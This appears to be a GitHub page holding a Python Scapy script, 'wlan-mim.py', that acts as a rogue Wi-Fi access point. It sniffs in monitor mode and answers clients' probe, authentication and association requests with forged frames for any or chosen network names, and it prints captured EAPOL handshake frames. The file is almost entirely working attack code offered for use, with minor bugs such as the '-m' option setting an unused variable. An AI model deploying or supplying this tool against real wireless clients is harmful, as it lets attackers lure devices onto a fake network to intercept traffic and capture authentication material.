-
Notifications
You must be signed in to change notification settings - Fork 67
/
wlan-mim.py
executable file
·158 lines (118 loc) · 3.73 KB
/
wlan-mim.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/python3
import os
import sys
import time
import getopt
from scapy.all import *
iface = "wlp2s0"
iwconfig_cmd = "/usr/sbin/iwconfig"
ssid_filter = []
client_addr = None
mymac = "aa:bb:cc:aa:bb:cc"
# Extract Rates and ESRates from ELT header
def get_rates(packet):
rates = "\x82\x84\x0b\x16"
esrates = "\x0c\x12\x18"
while Dot11Elt in packet:
packet = packet[Dot11Elt]
if packet.ID == 1:
rates = packet.info
elif packet.ID == 50:
esrates = packet.info
packet = packet.payload
return [rates, esrates]
def send_probe_response(packet):
ssid = packet.info.decode()
rates = get_rates(packet)
channel = "\x07"
if ssid_filter and ssid not in ssid_filter:
return
print("\n\nSending probe response for " + ssid + \
" to " + str(packet[Dot11].addr2) + "\n")
# addr1 = destination, addr2 = source,
# addr3 = access point
# dsset sets channel
cap="ESS+privacy+short-preamble+short-slot"
resp = RadioTap() / \
Dot11(addr1=packet[Dot11].addr2,
addr2=mymac, addr3=mymac) / \
Dot11ProbeResp(timestamp=int(time.time()),
cap=cap) / \
Dot11Elt(ID='SSID', info=ssid) / \
Dot11Elt(ID="Rates", info=rates[0]) / \
Dot11Elt(ID="DSset",info=channel) / \
Dot11Elt(ID="ESRates", info=rates[1])
sendp(resp, iface=iface)
def send_auth_response(packet):
# Dont answer our own auth packets
if packet[Dot11].addr2 != mymac:
print("Sending authentication to " + packet[Dot11].addr2)
res = RadioTap() / \
Dot11(addr1=packet[Dot11].addr2,
addr2=mymac, addr3=mymac) / \
Dot11Auth(algo=0, seqnum=2, status=0)
sendp(res, iface=iface)
def send_association_response(packet):
if ssid_filter and ssid not in ssid_filter:
return
ssid = packet.info
rates = get_rates(packet)
print("Sending Association response for " + ssid + \
" to " + packet[Dot11].addr2)
res = RadioTap() / \
Dot11(addr1=packet[Dot11].addr2,
addr2=mymac, addr3=mymac) / \
Dot11AssoResp(AID=2) / \
Dot11Elt(ID="Rates", info=rates[0]) / \
Dot11Elt(ID="ESRates", info=rates[1])
sendp(res, iface=iface)
# This function is called for every captured packet
def handle_packet(packet):
sys.stdout.write(".")
sys.stdout.flush()
if client_addr and packet.addr2 != client_addr:
return
# Got probe request?
if packet.haslayer(Dot11ProbeReq):
send_probe_response(packet)
# Got authenticaton request
elif packet.haslayer(Dot11Auth):
send_auth_response(packet)
# EAPOL authentication request
elif packet.haslayer(EAPOL): # and packet.type == 2:
print(packet)
# Got association request
elif packet.haslayer(Dot11AssoReq):
send_association_response(packet)
def usage():
print(sys.argv[0])
print("""
-a <addr> (optional)
-i <interface> (optional)
-m <source_mac> (optional)
-s <ssid1,ssid2> (optional)
""")
sys.exit(1)
# Parsing parameter
if len(sys.argv) == 2 and sys.argv[1] == "--help":
usage()
try:
cmd_opts = "a:i:m:s:"
opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
usage()
for opt in opts:
if opt[0] == "-a":
client_addr = opt[1]
elif opt[0] == "-i":
iface = opt[1]
elif opt[0] == "-m":
my_mac = opt[1]
elif opt[0] == "-s":
ssid_filter = opt[1].split(",")
else:
usage()
os.system(iwconfig_cmd + " " + iface + " mode monitor")
# Start sniffing
print("Sniffing on interface " + iface)
sniff(iface=iface, prn=handle_packet)